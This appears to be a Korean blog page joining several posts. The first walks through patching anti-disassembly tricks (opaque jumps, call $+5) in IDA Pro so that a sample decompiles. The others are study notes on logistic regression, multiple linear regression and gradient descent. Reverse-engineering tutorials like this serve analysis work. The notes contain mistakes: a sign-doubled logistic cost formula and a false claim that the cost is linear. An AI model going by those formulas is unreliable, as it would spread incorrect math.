분명히 push ebp로 시작하는 함수의 프롤로그가 보이고, 0x403c02에서 call 0x403b12라는 instruction으로 호출되고 있는 함수임에도 불구하고 loc_403b12라고 레이블링되면서 중간의 opcode는 분석이 불가능하고 f5를 사용해도 디컴파일이 되지 않는 것을 확인할 수 있다.

 

먼저 해결해야 하는 부분은 0x403b22 주소의

jnz    short near ptr loc_403B26+3

jz      short near ptr loc_403B26+3

부분이다. zf플래그가 설정되어 있든 아니든 403b29주소로 점프하지만, 디컴파일러는 이를 해석하지 못한다.

 

opcode 보기 설정

options-general에서 number of opcode bytes옵션을 5이상으로 설정해서 opcode를 함께 보자.

 

 

 

75 는 jnz, 05는 이 opcode가 끝나는 지점으로부터 5바이트라는 뜻으로, zf플래그가 설정되어 있지 않을 때 403b24 오프셋에서 5바이트 뒤인 403b29로 점프하라는 뜻이다. 분기에 상관없이 무조건 403b29로 점프하도록 instruction을 패치한다.

edit->patch programs -> change byte 옵션에서 75와 74를 EB(jmp instruction)로 바꾸어준다

 

1차 패치된 프로그램

이후 u키로 loc_403b12와 loc_403b26을 undefine해주고 p키를 눌러 다시 함수로 해석한다. 위는 그 과정을 거치고 난 disassembly의 모습이다.

 

이제 디컴파일은 수행되지만 0x403b12 하나의 함수로 해석되어야 할 것이, sub_403b12와 sub_403b2c 두 개의 함수로 잘못 해석되는 문제가 발생한다.

 

더불어 sub_403b2c 는 함수 프롤로그가 없어서 스택프레임이 적절히 생성되지 않아 디컴파일 시 아래의 오류가 발생하며 디컴파일이 실패한다.

함수 진행중 ebp 보다 esp의 값이 커지는 부분이 있다는 것이다.

 

 

esp 가 positive value 를 갖게 되는 instruction에서 alt+k 를 눌러서 sp value를 수정해주면 디컴파일은 가능해진다.

스택 포인터 조정

 

아래는 디컴파일 결과이다.

 

그러나 sp value를 임의로 수정한 것이므로 적절한 해결책은 아니며 변수 표현이 정확히 되지 않는 문제가 발생한다 . 스택 정리가 정확히 될 수 있도록 프롤로그에서부터 함수 흐름을 제대로 이어줄 필요가 있다.

 

 

아래의 그림을 보자.

먼저 0x403b18에서 call $+5로 0x403b1d를 호출하는데, 이때 call instruction은 ret 주소(0x403b1d)를 스택에 push하므로 esp에는 0x403b1d 값이 존재하게 되는데  0x403b1d에서 [esp]에 0x11값을 더하므로, esp에는 0x403b2e값이 들어가게 된다. 다음으로 0x403b29에서 pop eax, jmp eax명령어를 통해 esp의 0x403b2e로 점프하게 된다.

 

따라서 jmp eax를 jmp 403b2e로 바꾸어주면 스택프레임을 유지하면서 프로그램의 흐름도 똑같이 유지할 수 있게 된다. 아래는 patch program을 이용하여 패치한 결과이다.

디컴파일이 적절히 된 것을 알 수 있다.

개요

이번 포스팅에서는 로지스틱 회귀에 대해 알아본다.

앞서 포스팅에서 소개했던 선형 회귀는 데이터의 구조를 선형으로 예측하는 모델이었으므로, 종속변수가 연속적인 값일 때 적용할 수 있는 모델이었다. 종속변수가 이산적일 때도 선형 회귀를 사용할 수 있을까?

아래의 사례를 살펴보자.

함수값 $\cfrac{1}{2}$ 기준으로 악성 여부를 판단하는 선형 모델이다. 현재의 데이터와 결과를 보면 잘 분류한 것으로 보인다.

그러나 다음의 그림을 보자.

데이터가 추가 되었고 데이터의 분포에 맞추어 모델이 수정되었다. 이때 함수값 $\cfrac{1}{2}$ 기준으로 분류하는 것은 적합하지 않아보인다. 이와 같이 새로운 데이터의 추가가 기존의 분류 모델에 큰 영향을 미치게 된다.

따라서 변량이 이산 데이터일 때 선형회귀 모델은 적합하지 않다. 이때 적용할 수 있는 모델이 바로 로지스틱 회귀 모델이다.

Logistic Regression

로지스틱 회귀 모델은 다음과 같은 구조를 띤다.

정의

로지스틱 회귀의 가설함수를 살펴보자. 시그모이드 함수라는 이름으로 잘 알려져 있다.

$$
h_\theta(x) = g(\theta^Tx)
$$
$$
z = \theta^Tx
$$
$$
g(z) = \cfrac{1}{1+e^{-z}}
$$

의미

$x$에 대하여 $f(x)$의 값이 $y$일 확률을 뜻한다.

다음이 성립한다.

$$h_\theta(x) = P(y=1|x;\theta) = 1 - P(y = 0 |x;\theta)$$
$$P(y = 0|x;\theta) + P(y = 1|x;\theta) = 1$$


※시그모이드 함수를 사용하는 이유

아래 블로그에 감동적일 정도로 매우매우 잘 설명되어 있다ㅠㅠ. 그래도 내 나름대로 다시 정리해보겠다.

(https://gentlej90.tistory.com/69)

 

Logistic Regression Part.1

많은 블로그들과 책들에서 로지스틱 회귀에 대해 잘 설명해 놓은것이 많다. 따라서 이 포스팅은 로지스틱 회귀방법에 대해 설명을 하겠지만 자세히 하진 않고 이 내용을 본인이 이해한 방식대

gentlej90.tistory.com

위에서 보았듯기존의 회귀식은 좌변과 우변이 모두 연속형인 수를 가정하고 있다.

그런데 로지스틱 회귀에서 좌변(y)는 이산값이다.

우변값은 $-\infty$~$\infty$인데 좌변이 이산값이므로 등호를 만족할 수가 없다.

이에 좌변의 범위를 맞춰주는 작업을 하게 된다. 이때 사용하는 것이 Logit(Log + Odds) 변환이다.

Logit 변환은 오즈에 로그를 씌운 것이다.

오즈비는 어떠한 일이 일어날 확률을 일어나지 않을 확률로 나눈 것을 말하고 공식은 다음과 같다.

$$\cfrac{p(y=1|x)}{1-p(y=1|x)}$$

p(y=1|x)가 1에 가까워질수록 무한대에 수렴하고, 0이면 0이 되므로 오즈비는 (0, $\infty$) 의 범위를 가진다.

아직 우변이 음수의 범위를 가질 수도 있기 때문에 한번의 변환을 더 거쳐야 하는데 그것이 로그변환이다.

$$log(\cfrac{p(y=1|x)}{1-p(y=1|x)})$$

이제 우변과 동등한 (-$\infty$, $\infty$)의 범위를 갖게 되었다.

이제 x와 w파라미터를 통해 일반 회귀식으로 logit값을 예측할 수 있게 되었다. 그러나 우리는 logit값이 아닌 p값, 즉 1이 될 확률을 알고 싶은 것이다. 따라서 p에 대하여 식을 다시 정리한다.

$$log(\cfrac{p(y=1|x)}{1-p(y=1|x)}) = w_0 + w^Tx $$
$$\cfrac{p(y=1|x)}{1-p(y=1|x)} = e^{w_0 + w^Tx }$$
$$p(y=1|x)=e^{w_0 + w^Tx }({1-p(y=1|x)})$$
$$p(y=1|x) = e^{w_0 + w^Tx }-e^{w_0 + w^Tx }{p(y=1|x)}$$
$$p(y=1|x) + e^{w_0 + w^Tx }{p(y=1|x)} = e^{w_0 + w^Tx }$$
$$p(y=1|x)(1 + e^{w_0 + w^Tx }) = e^{w_0 + w^Tx }$$
$$p(y=1|x) = \cfrac{e^{w_0 + w^Tx }}{(1 + e^{w_0 + w^Tx })}$$
$$\cfrac{e^{w_0 + w^Tx }}{1 + e^{w_0 + w^Tx }} = \cfrac{1}{1+e^{-(w_0 + w^Tx)}}$$

logistic function이 도출되었다. 이제 회귀식의 값을 input으로 받아 0~1의 확률값을 반환하는 이 함수를 통해 확률을 구할 수 있게 되었다. 확률을 우리가 세운 기준점(cutoff값)과 비교하면 분류가 끝이 난다.


Logistic Regression의 비용함수

로지스틱 회귀의 비용함수는 선형회귀의 비용함수와 다른 함수를 사용한다.

선형회귀의 비용함수는 다음과 같았다.
$$J(\theta) = \cfrac{1}{m}\sum_{i=1}^m\cfrac{1}{2}(h_\theta(x^{(i)}) - y^{(i)})^2 $$

로지스틱 회귀의 가설함수는 비선형함수이기 때문에 이를 그대로 적용하면 $J(\theta)$가 볼록하지 않은(Non-Convex) 함수가 된다.

선형회귀 Gradient Descent를 그대로 적용했을 경우

정의

로지스틱 회귀의 비용함수는 다음과 같다.

$$Cost(h_\theta(x), y) = -log(h_\theta(x)) if y=1$$
$$Cost(h_\theta(x), y) = -log(1-h_\theta(x)) if y=0$$

이 Cost함수는 크게 두 가지 특징을 가진다.

  1. $y=1$일 때, $h_\theta(x)$가 1에 가까워질수록(가설이 정확할수록) cost가 0에 수렴하고, $h_\theta(x)$가 0에 가까워질수록 cost가 무한대로 수렴하는 특징을 가진다. $y=0$일 때는 반대로 $h_\theta(x)$가 0에 가까워질수록 cost가 0에 수렴하고, $h_\theta(x)$가 1에 가까워질수록 cost가 무한대로 수렴하는 특징을 가진다.
  2. Cost함수가 선형이므로 비용함수 $J(\theta)도 볼록(Convex)한 함수임을 만족한다.

비용함수의 일반화

$$Cost(h_\theta(x), y) = -ylog(h_\theta(x))-(1-y)log(1-h_\theta(x))$$
$$J(\theta) = -\cfrac{1}{m}\sum_{i=1}^m[-y^{(i)}log(h_\theta(x^{(i)})) -(1-y^{(i)})log(1-h_\theta(x^{(i)}))]$$

Logistic Regression에서 Gradient Descent

Gradient Descent는 아래의 식을 반복적으로 계산하여 수행한다.

$$\theta_j := \theta_j - \alpha\cfrac{\partial}{\partial\theta} J(\theta)$$

위에서 구한 $J(\theta)를 대입하면 다음의 식이 도출된다.

$$\theta_j := \theta_j - \cfrac{\alpha}{m}\sum_{i=1}^m(h_\theta(x^{(i)}) - y^{(i)}) x_j^{(i)}$$

그런데 최종적인 형태는 선형 회귀의 Gradient Descent와 거의 같은 형태가 도출되었다.
차이점은 $h(x)$가 $\theta^TX$가 아닌 $ \cfrac{1}{1+e^{-\theta^Tx}}$ 라는 것이다.

이번 포스팅에 대해서는 다중 선형 회귀에 대해 알아보겠다. 먼저 선형 회귀에 대해 간단하게 알아보자.

선형회귀

앞선 포스팅에서 가설함수와 모델에 대해서 배웠었다. 모델은 쉽게 말하면 데이터의 구조에 대한 가정이라고 말했다.

선형 회귀도 모델의 일종인데, 모델이 하나의 선(line), 선형인 경우를 말한다. $ax+b$와 같은 일차함수가 대표적인 선형 회귀 모델이다.

 

다중 선형회귀

이때 $ax+b$는 독립변수가 1개이고, 종속변수도 1개인 단변량 단일 선형 회귀이다.

독립변수가 $x_1$, $x_2$ 등 2개 이상인 경우를 다중 선형 회귀라고 한다.

 

종속변수 1개, 독립변수 1개, => 단변량 단일 선형 회귀

종속변수 2개 이상, 독립변수 1개 => 다변량 단일 선형 회귀

종속변수 1개, 독립변수 2개 이상 => 단변량 다중 선형 회귀

종속변수, 독립변수가 모두 2개 이상 => 다변량 다중 선형 회귀

 

다중 선형회귀의 가설함수

단변량 다중 선형 회귀의 가설함수는 다음과 같이 벡터를 사용하여 표현할 수 있을 것이다.

 

다중 선형회귀의 비용함수

따라서 단변량 다중 선형 회귀의 비용함수는 다음과 같이 표현할 수 있다.

 

다중 선형회귀에서 경사하강법

앞서 경사하강법을 공부할 때 살펴본 단변량 단일 선형 회귀의 경우 경사하강법은 다음과 같이 적용했다.

 

단변량 단일 선형 회귀에서 경사하강법

 

각각의 파라미터는 다음의 과정을 거쳐 갱신되었다.

1. 비용함수를 각 파라미터 $\theta_0$, $\theta_1$ 에 대하여 편미분한다.

2. 각 계산된 미분계수와 learning rateα를 곱한 값을 $\theta_0$, $\theta_1$에서 빼준다.

3. 뺄셈한 결과값을 다시 $\theta_0$, $\theta_1$에 대입한다.

$\theta_0$, $\theta_1$의 경사하강법 공식은 언뜻보면 달라보이지만, 사실은 같은 모양이다. 아래의 그림을 참조하자.

 

$$
\theta_j := \theta_j - \alpha\cfrac{1}{2m}\sum_{i=1}^m(h_\theta(x^{(i)}) - y^{(i)}) x_j^{(i)}
$$

위의 $\theta_j$에 대하여 일반화한 공식을 그대로 적용한 것임을 알 수 있다. $\theta_0$의 경우 $x_0^{(1)}$을 곱하고 있는데, $x_0^{(1)}$이 벡터화 계산에서 $\theta_0$에 1을 곱해주려고 임의로 만들어낸 값이어서 생략되어 위의 형태를 띠게 된 것이다.

 

결론적으로 다중 선형회귀에서 경사하강법은 j=0부터 n까지에 대하여 경사하강법의 일반화 공식을 동시에 수행하는 것으로 정리될 수 있다. 

 

 

개요

전 포스팅에서 비용함수가 최소화될 때 최적의 파라미터를 찾을 수 있다고 서술했었다.

경사하강법은 미분을 이용하여 비용함수가 최소가 되는 지점을 기계가 자동으로 찾아낼 수 있도록 하는 방법이다.

개요는 다음과 같다.

1.  먼저 파라미터를 초기화 한다.
2.  J(θ0, θ1)에서 가장 경사진 지점으로 이동한다.
3.  이동한 지점의 θ0, θ1이 새로운 파라미터가 되고, 1,2의 과정을 반복한다.
4.  반복하면 국소 최적(Local Optimum)에 도달한다.

이때, 이동의 간격(step)을 지정할 수 있는데 이것을 learning rate, α라고 한다

Gradient Descent


어떻게 가장 경사진 지점으로 이동할 수 있을까?

그때 사용하는 것이 미분이다. 미분은 어떤 점에서의 기울기를 구할 때 사용한다. 어떤 점에서의 기울기에 비례해서 값을 감소시키면 경사진 지점으로 이동하게 된다. 비용함수에서 하강을 반복하다 보면 어느 순간 비용함수의 최저 지점에 도달할 수 있게 될 것이다.

최저지점에 도달할수록 기울기의 절대값이 작아지고, 하강하는 깊이도 점점 줄어든다. 따라서 비용함수가 일정수준 이상 감소하지 않는 지점을 국소 최적(local optimum)이라 판단하고 학습을 종료한다. 아래는 경사하강법을 수식화 한 것이다.


Algorithm

Learning Rate

경사하강법은 알고리즘상 반복적인 연산이 필요하다. 이동하는 간격(Step)이 너무 작으면 시간이 매우 오래 걸릴 수 있으므로 간격을 조정할 매커니즘이 필요한데 이때 사용되는 것이 Learning Rate 이다.
미분계수에 learning rate를 곱해줌으로써 learning rate가 작을수록 step이 작아지고, learning rate가 커질수록 step이 커지게끔 한다.

learning rate가 너무 작으면, 정확한 local optimum을 찾을 수는 있으나, 속도가 느려진다는 단점이 있고 learning rate가 너무 크면 local optimum에 도달하지 못하거나 다른 값을 찾게 되는 단점이 있으므로 learning rate를 적절히 설정하는 것이 필요하다.

+ Recent posts